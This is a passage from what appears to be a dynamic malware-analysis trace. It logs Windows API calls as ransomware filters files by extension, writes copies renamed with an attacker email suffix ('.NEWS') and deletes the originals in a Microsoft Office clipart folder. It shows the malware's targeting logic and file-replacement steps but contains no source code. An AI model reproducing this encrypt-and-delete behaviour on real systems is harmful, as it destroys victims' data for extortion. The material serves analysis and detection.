Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0077.556] lstrlenW (lpString=".zip") returned 4 [0077.556] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0077.556] lstrlenW (lpString=".rar") returned 4 [0077.556] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0077.556] lstrlenW (lpString=".bz2") returned 4 [0077.557] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0077.557] lstrlenW (lpString=".7z") returned 3 [0077.557] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0077.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0077.557] lstrlenW (lpString=".dbf") returned 4 [0077.557] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0077.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0077.557] lstrlenW (lpString=".1cd") returned 4 [0077.557] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0077.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0077.557] lstrlenW (lpString=".jpg") returned 4 [0077.557] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0077.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0077.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0077.557] lstrlenW (lpString=".doc") returned 4 [0077.557] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0077.557] lstrlenW (lpString=".docx") returned 5 [0077.557] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0077.557] lstrlenW (lpString=".pdf") returned 4 [0077.557] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0077.557] lstrlenW (lpString=".xls") returned 4 [0077.557] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0077.557] lstrlenW (lpString=".xlsx") returned 5 [0077.557] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0077.557] lstrlenW (lpString=".ppt") returned 4 [0077.557] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0077.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0077.557] lstrlenW (lpString=".zip") returned 4 [0077.557] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0077.557] lstrlenW (lpString=".rar") returned 4 [0077.557] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0077.557] lstrlenW (lpString=".bz2") returned 4 [0077.558] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0077.558] lstrlenW (lpString=".7z") returned 3 [0077.558] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0077.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0077.558] lstrlenW (lpString=".dbf") returned 4 [0077.558] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0077.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0077.558] lstrlenW (lpString=".1cd") returned 4 [0077.558] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0077.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0077.558] lstrlenW (lpString=".jpg") returned 4 [0077.558] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0077.558] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0077.558] lstrlenW (lpString="AN04384_.WMF") returned 12 [0077.558] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0077.559] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=4996) returned 1 [0077.559] CloseHandle (hObject=0x388) returned 1 [0077.559] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf")) returned 0x220 [0077.559] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0077.559] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0077.559] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.559] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.559] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0077.560] GetLastError () returned 0x0 [0077.560] ReadFile (in: hFile=0x388, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x1384, lpOverlapped=0x0) returned 1 [0077.561] WriteFile (in: hFile=0x308, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x1390, lpOverlapped=0x0) returned 1 [0077.562] ReadFile (in: hFile=0x388, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0077.562] WriteFile (in: hFile=0x308, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0077.562] SetEndOfFile (hFile=0x308) returned 1 [0077.563] CloseHandle (hObject=0x308) returned 1 [0077.564] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.564] SetEndOfFile (hFile=0x388) returned 1 [0077.564] CloseHandle (hObject=0x388) returned 1 [0077.564] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0077.565] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf")) returned 1 [0077.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0077.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0077.565] lstrlenW (lpString=".doc") returned 4 [0077.565] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0077.565] lstrlenW (lpString=".docx") returned 5 [0077.565] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0077.565] lstrlenW (lpString=".pdf") returned 4 [0077.565] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0077.565] lstrlenW (lpString=".xls") returned 4 [0077.565] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0077.565] lstrlenW (lpString=".xlsx") returned 5 [0077.565] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0077.565] lstrlenW (lpString=".ppt") returned 4 [0077.565] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0077.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0077.565] lstrlenW (lpString=".zip") returned 4 [0077.565] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0077.565] lstrlenW (lpString=".rar") returned 4 [0077.565] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0077.566] lstrlenW (lpString=".bz2") returned 4 [0077.566] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0077.566] lstrlenW (lpString=".7z") returned 3 [0077.566] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0077.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0077.566] lstrlenW (lpString=".dbf") returned 4 [0077.566] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0077.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0077.566] lstrlenW (lpString=".1cd") returned 4 [0077.566] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0077.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0077.566] lstrlenW (lpString=".jpg") returned 4 [0077.566] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0077.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0077.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0077.566] lstrlenW (lpString=".doc") returned 4 [0077.566] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0077.566] lstrlenW (lpString=".docx") returned 5 [0077.566] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0077.566] lstrlenW (lpString=".pdf") returned 4 [0077.566] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0077.566] lstrlenW (lpString=".xls") returned 4 [0077.566] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0077.566] lstrlenW (lpString=".xlsx") returned 5 [0077.566] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0077.566] lstrlenW (lpString=".ppt") returned 4 [0077.566] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0077.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0077.566] lstrlenW (lpString=".zip") returned 4 [0077.566] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0077.566] lstrlenW (lpString=".rar") returned 4 [0077.566] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0077.566] lstrlenW (lpString=".bz2") returned 4 [0077.566] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0077.566] lstrlenW (lpString=".7z") returned 3 [0077.567] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0077.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0077.567] lstrlenW (lpString=".dbf") returned 4 [0077.567] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0077.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0077.567] lstrlenW (lpString=".1cd") returned 4 [0077.567] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0077.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0077.567] lstrlenW (lpString=".jpg") returned 4 [0077.567] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0077.567] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0077.567] lstrlenW (lpString="AN04385_.WMF") returned 12 [0077.567] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0077.567] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=5004) returned 1 [0077.567] CloseHandle (hObject=0x388) returned 1 [0077.567] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf")) returned 0x220 [0077.567] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0077.567] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0077.568] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.568] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0077.572] GetLastError () returned 0x0 [0077.572] ReadFile (in: hFile=0x388, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x138c, lpOverlapped=0x0) returned 1 [0077.576] WriteFile (in: hFile=0x308, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x1390, lpOverlapped=0x0) returned 1 [0077.577] ReadFile (in: hFile=0x388, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0077.577] WriteFile (in: hFile=0x308, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0077.577] SetEndOfFile (hFile=0x308) returned 1 [0077.577] CloseHandle (hObject=0x308) returned 1 [0077.578] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.578] SetEndOfFile (hFile=0x388) returned 1 [0077.579] CloseHandle (hObject=0x388) returned 1 [0077.579] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0077.579] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf")) returned 1 [0077.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0077.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0077.580] lstrlenW (lpString=".doc") returned 4 [0077.580] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0077.580] lstrlenW (lpString=".docx") returned 5 [0077.580] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0077.580] lstrlenW (lpString=".pdf") returned 4 [0077.580] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0077.580] lstrlenW (lpString=".xls") returned 4 [0077.580] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0077.580] lstrlenW (lpString=".xlsx") returned 5 [0077.580] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0077.580] lstrlenW (lpString=".ppt") returned 4 [0077.580] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0077.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0077.580] lstrlenW (lpString=".zip") returned 4 [0077.580] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0077.580] lstrlenW (lpString=".rar") returned 4 [0077.580] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0077.580] lstrlenW (lpString=".bz2") returned 4 [0077.580] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0077.580] lstrlenW (lpString=".7z") returned 3 [0077.580] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0077.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0077.580] lstrlenW (lpString=".dbf") returned 4 [0077.580] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0077.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0077.580] lstrlenW (lpString=".1cd") returned 4 [0077.580] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0077.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0077.581] lstrlenW (lpString=".jpg") returned 4 [0077.581] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0077.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0077.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0077.581] lstrlenW (lpString=".doc") returned 4 [0077.581] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0077.581] lstrlenW (lpString=".docx") returned 5 [0077.581] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0077.581] lstrlenW (lpString=".pdf") returned 4 [0077.581] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0077.581] lstrlenW (lpString=".xls") returned 4 [0077.581] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0077.581] lstrlenW (lpString=".xlsx") returned 5 [0077.581] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0077.581] lstrlenW (lpString=".ppt") returned 4 [0077.581] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0077.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0077.581] lstrlenW (lpString=".zip") returned 4 [0077.581] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0077.581] lstrlenW (lpString=".rar") returned 4 [0077.581] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0077.581] lstrlenW (lpString=".bz2") returned 4 [0077.581] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0077.581] lstrlenW (lpString=".7z") returned 3 [0077.581] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0077.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0077.581] lstrlenW (lpString=".dbf") returned 4 [0077.581] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0077.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0077.581] lstrlenW (lpString=".1cd") returned 4 [0077.581] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0077.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0077.581] lstrlenW (lpString=".jpg") returned 4 [0077.581] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0077.582] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0077.582] lstrlenW (lpString="BD00116_.WMF") returned 12 [0077.582] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0077.583] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=4870) returned 1 [0077.583] CloseHandle (hObject=0x388) returned 1 [0077.583] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf")) returned 0x220 [0077.583] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0077.583] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0077.583] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.583] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.583] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0077.583] GetLastError () returned 0x0 [0077.584] ReadFile (in: hFile=0x388, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x1306, lpOverlapped=0x0) returned 1 [0077.585] WriteFile (in: hFile=0x308, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x1310, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x1310, lpOverlapped=0x0) returned 1 [0077.586] ReadFile (in: hFile=0x388, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0077.586] WriteFile (in: hFile=0x308, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0077.586] SetEndOfFile (hFile=0x308) returned 1 [0077.997] CloseHandle (hObject=0x308) returned 1 [0077.999] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.999] SetEndOfFile (hFile=0x388) returned 1 [0077.999] CloseHandle (hObject=0x388) returned 1 [0078.000] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0078.000] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf")) returned 1 [0078.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0078.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0078.000] lstrlenW (lpString=".doc") returned 4 [0078.000] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0078.000] lstrlenW (lpString=".docx") returned 5 [0078.000] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0078.000] lstrlenW (lpString=".pdf") returned 4 [0078.000] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0078.000] lstrlenW (lpString=".xls") returned 4 [0078.000] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0078.000] lstrlenW (lpString=".xlsx") returned 5 [0078.000] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0078.001] lstrlenW (lpString=".ppt") returned 4 [0078.001] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0078.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0078.001] lstrlenW (lpString=".zip") returned 4 [0078.001] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0078.001] lstrlenW (lpString=".rar") returned 4 [0078.001] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0078.001] lstrlenW (lpString=".bz2") returned 4 [0078.001] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0078.001] lstrlenW 